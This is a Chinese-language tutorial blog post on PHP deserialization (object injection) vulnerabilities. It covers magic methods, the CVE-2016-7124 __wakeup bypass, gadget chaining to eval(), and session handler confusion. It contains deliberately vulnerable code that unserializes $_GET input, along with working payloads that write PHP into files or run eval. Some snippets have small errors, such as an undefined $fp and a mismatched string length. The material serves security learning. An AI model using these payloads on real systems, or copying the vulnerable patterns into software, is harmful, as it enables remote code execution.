Bootstrap

PHP反序列化漏洞基础

目录

 

前言

1. 序列化

1.1 序列化后的字符串

2. 反序列化

3. 反序列化漏洞

3.1 访问控制修饰符

3.2 魔术方法 

3.3 反序列化漏洞

3.3.1 魔法__unserialize()

 3.3.2 魔法__wakeup()绕过

3.3.3 构造函数__construct()

4. 注入对象构造方法

4.1 非public属性修饰

4.2 同名方法利用

​5. session反序列化漏洞

5.1 漏洞简介

5.2 漏洞复现


前言

在开始之前首先要明白什么是反序列化?以及为什么要使用反序列化?说的深一点就是二进制序列和程序内部数据结构的转换,将信息按照一定格式二进制化,从而达到存储传输的目的。

说人话就是一个携带值的变量,只能存在于内存,当程序运行完成后,变量值就会从内存中清除,那序列化的目的就是把变量保存到硬盘中,在用到的时候方便调用。在PHP里序列化用在存储或传递PHP值的过程中,并且保证变量不丢失其类型和结构。

1. 序列化

在PHP中使用函数serialize()序列化对象和数组,并返回一个字符串,在使用serialize()函数序列化对象后,可以很方便的将它传递给其他需要的地方,并且其类型和结构不会改变。

serialize ( mixed $value ) : string

1.1 序列化后的字符串

"a:3:{i:0;s:4:"test";i:1;s:6:"测试";i:2;s:4:"exam";}"

a:代表array数组,如果要是对象就是O,也可以是其他任意类型
3:代表3个变量
{}内的字符
i:代表序号
0:表示数组内第一个值
s:表示值的类型,s表示字符
4:表示该值有4个字符

2. 反序列化

在PHP中unserialize()函数用于将使用serialize()函数序列化的对象或者数组进行反序列化,并返回原始的对象结构。若被解序列化的变量是一个对象,在成功构造对象之后,PHP会试图调用__wakeup()成员函数(如果存在)。

返回值。返回的是转换后的值,可以为integer、float、string、array或者object。如果传递的字符串不可解序列化,则返回FALSE,并产生一个E_NOTICE。

unserialize ( string $str ) : mixed

如果传递的字符串不可以反序列化

3. 反序列化漏洞

3.1 访问控制修饰符

在类中属性的访问控制修饰符不同,序列化后的属性和长度值也会不同

public(公有)

protected(受保护)

private(私有的)

protected属性和private属性被序列化后属性名长度会增加3,因为属性名会编程%00*%00。public属性名正常。

3.2 魔术方法 

具体详情请参考:https://www.php.net/manual/zh/language.oop5.magic.php

在面向对象编程里,php提供了一系列魔术方法,这些魔术方法为编程提供了很多便利,PHP中的魔术方法通常是以__两个下划线开始,并且不需要显示调用而是需要以某种特定的条件触发。

需要注意的是:所有的魔术方法必须声明为public。

常用的魔术方法:

__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法

3.3 反序列化漏洞

PHP反序列化漏洞又称PHP对象注入,是因为程序对用户输入数据处理不当导致的。以下魔术方法统称为魔法!!

3.3.1 魔法__unserialize()

在利用函数unserialize()反序列化后如果使用魔术方法__destrust(),就会导致类属性被直接调用,中间无须其他过程,如果发现代码中存在该方法,那就可以尝试利用,控制序列化字符串去触发该漏洞。

请看例子:

<?php
  class test{
      public $target = 'demo';

      function __destruct(){
      	echo "destruct!<br/>";
		echo $this->target."<br/>";
		echo "destruct!<br/>";
      }
}
$str = new test();
$str = serialize($str);
echo $str."<br/>";
# 接收参数 反序列化
$id = $_GET['id'];
$un = unserialize($id);
?>

在以上代码中,析构函数会回显id的值,通过构造一个对象,控制id的值,达到控制数据流的目的,实现反序列化漏洞的利用。

测试如下:

 利用方式

 3.3.2 魔法__wakeup()绕过

该漏洞为(CVE-2016-7124),顺便复现一波,在执行反序列化时,如果表示对象属性个数的值大于真实的属性个数就会跳过__wakeup()的执行。

在执行unserialize()函数时会先检查__wakeup()的存在,如果存在会先检查__wakeup()并执行。可以利用该方法重置属性的值。

  • PHP < 5.6.25
  • 7.x before 7.0.10

代码如下:

<?php

class test 
{
  var $target = "test";

  function __wakeup()
  {
    $this->target= "wakeup!";
  }
  function __destruct(){
    $fileOpen = fopen("C:\\inetpub\\PhpStudy2018\\PHPTutorial\\WWW\\PHPStudy\\hello.php", "w");
    fputs($fp,$this->target);
    fclose($fp);
  }
}

$test = $_GET['id'];
$test_unser = unserialize($test);

echo "helle.php<br/>";
include("./hello.php");
?>

用之前构造payload的方法:O:4:"test":1:{s:6:"target";s:18:"<?php phpinfo();?>";} 

可以看到__wakeup()把$target的值重置了

对象序列化后的结构:

O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

令object size的值大于1即可。

利用漏洞绕过__wakeup()构造payload:O:4:"test":2:{s:6:"target";s:4:"<?php phpinfo();?>";},可以成功绕过。

成功将target代码写入hello.php文件内,访问该文件。

3.3.3 构造函数__construct()

PHP允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新的对象时先调用此方法,所以很适合在使用对象前做一些初始化的工作。

<?php
class test{
  function __construct($name){
      $fileOpen = fopen("hello.php","w");
      fwrite($fileOpen, $name);
      fclose($fileOpen);
  }
}
class person{
  public $name = 'jiete';
  public $sex = 'boy';
  public $age = '12';

  function __sleep(){
    return array('name', 'sex');
  }
  
  function __wakeup(){
    $obj = new test($this->name);
  }
}

$names = new person();
$names = serialize($names);
echo $names."<br/>";
$id = $_GET['id'];
$unser = unserialize($id);
require 'hello.php';
?>

构造payload:O:6:"person":3:{s:4:"name";s:18:"<?php phpinfo();?>";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}

成功将代码写入hello.php文件内

4. 注入对象构造方法

4.1 非public属性修饰

当对象被private、protected修饰时的构造方法。

<?php

class privateObject
{
	
	private $target = "abcdefghijklmnopqrstuvwxyz";
}
$newClass = new privateObject();
$newClass = serialize($newClass);
echo $newClass;
?>

在上面的代码中,当目标被private修饰的时候,序列化结果为:

"O:13:"privateObject":1:{s:21:"<0x00>privateObject<0x00>target";s:26:"abcdefghijklmnopqrstuvwxyz";}"

同样的当面目标被protected修饰时,序列化结果为:

"O:13:"privateObject":1:{s:9:"<0x00>*<0x00>target";s:26:"abcdefghijklmnopqrstuvwxyz";}"

在构造诸如对象的时候要注意%00

利用结果: 

4.2 同名方法利用

同名方法意为在不同的类中存在一个相同的方法名,可以被利用来构造对象使析构函数调用不同类的同名方法,实现任意代码执行。

<?php
class SameMethodA {
	var $target;
	function __construct() {
		$this->target = new SameMethodB;
	}
    function __destruct() {
    	$this->target->action();
    }
}
class SameMethodB {
	function action() {
		echo "action B";

	}
}
class SameMethodC {
	var $Tar;
	function action() {
		echo "action A";
		eval($this->Tar);
	}
}

$test = new SameMethodA;
print_r($test);
echo serialize($test)."<br/>";
unserialize($_GET['id']);
?>

源码简析:

在SameMethodA类里实例化对象$target($this->target = new SameMethodB()),利用__construct()方法为成员变量赋值,利用__destruct()方法调用了SameMethod B里的action()方法,所以在执行代码后会打印"action A"。

 代码执行结果:

使用浏览器访问结果:

在上面的代码里,SameMedthod B和SameMedthod C有一个同名的方法,可以通过构造目标对象,使析构函数调用SameMethod C的action()方法,让eval()函数执行具有危害性的代码,也就是常说的任意代码执行。生成payload:

<?php
class SameMethodA {
	var $target;
	function __construct() {
		$this->target = new SameMethodC;
		$this->target->Tar = "phpinfo();";
	}
    function __destruct() {
    	$this->target->action();
    }
}

class SameMethodC {
	var $Tar;
	function action() {
		echo "action C";
		eval($this->Tar);
	}
}

echo serialize(new SameMethodA);
?>

然后再2.php内通过利用payload(O:11:"SameMethodA":1:{s:6:"target";O:11:"SameMethodC":1:{s:3:"Tar";s:10:"phpinfo();";}})执行任意代码,结果如下:

5. session反序列化漏洞

5.1 漏洞简介

PHP中的session经序列化后存储,读取时在进行反序列化。

相关配置:

session.save_path=" " //设置session的存储路径

session.save_handler=" " //设定用户自定存储函数,如果想使用PHP内置会话存储机制外的可以使用本函数(就是把内容放进数据库内)

session.auto_start boolen //指定会话模块是否在请求开始时启动一个会话默认为0为不启动

session.serialize_handler string //定义用来序列化/反序列化的处理器名字。默认使用PHP

PHP中有三种反序列化处理器,内容:

 实例代码:

<?php
session_start();

$_SESSION['test'] = $_GET['test'];
echo session_id();
?>

访问该页面后,回先session_id()

 session存储在session.save_path指定的路径下。

文件命名格式为sess_session_id 。存储内容为序列化后的session为:

该漏洞的原理为:不同的处理器的格式不同,当不同的页面使用了不同的处理器时,由于处理session序列化的格式不同,就可能产生反序列化漏洞。个人理解:这个漏洞的产生就是PHP使用序列化和反序列化的方式不正确。在真实的PHP环境中要执行命令和拿shell,前提就是要让代码或者文件被PHP解析,根据前面的php序列化和反序列化处理方式,如果使用php读取session。那就可以根据序列化的数据伪造内容,从而达到控制数据的目的。

5.2 漏洞复现

注意:PHP >= 5.5.4

代码如下:

代码内有类sess_example,开启session,并且使用php处理器处理session。

4.php

<?php
#  开启session,并用php处理器处理session。
ini_set("session.serialize_handler","php");

session_start();

class sess_example {
  var $test = 'test';

  function __wakeup() {
    echo "__wakeup!<br/>";
  }
  function __destruct() {
    echo $this->test;
  }
}
?>

通过代码设置session,然后再利用代码构造实例。

上面的3.php文件与4.php采用了不同的序列化处理器,通过构造payload“误导”处理器,达到漏洞利用的目的。

payload构造:

serialize()的结果前加上 ,使用php处理器时,就会把 后的内容反序列化,从而在4.php中调用__wakeup()__destruct()方法。payload(|O:12:"sess_example":1:{s:4:"test";s:4:"aaaa";})。

示例如下:

通过访问2.php获取payload

 通过访问3.php设置session

 漏洞利用

本文参考:

本文大部分核心内容均来自度娘,因为搜索了很多,包含原理和实例代码。因为本文是第三天完成的,中间隔了一天,有一篇核心的内容未能复制其链接,只列举完成当日参考的地址。感谢互联网上的大佬们。

https://blog.csdn.net/qq_32393893/article/details/110290154

https://www.cnblogs.com/hello-py/articles/13501786.html

https://blog.csdn.net/qq_36119192/article/details/102777681?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522160724732119724816659739%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=160724732119724816659739&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v1~rank_blog_v1-4-102777681.pc_v1_rank_blog_v1&utm_term=%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2118.3001.4450

;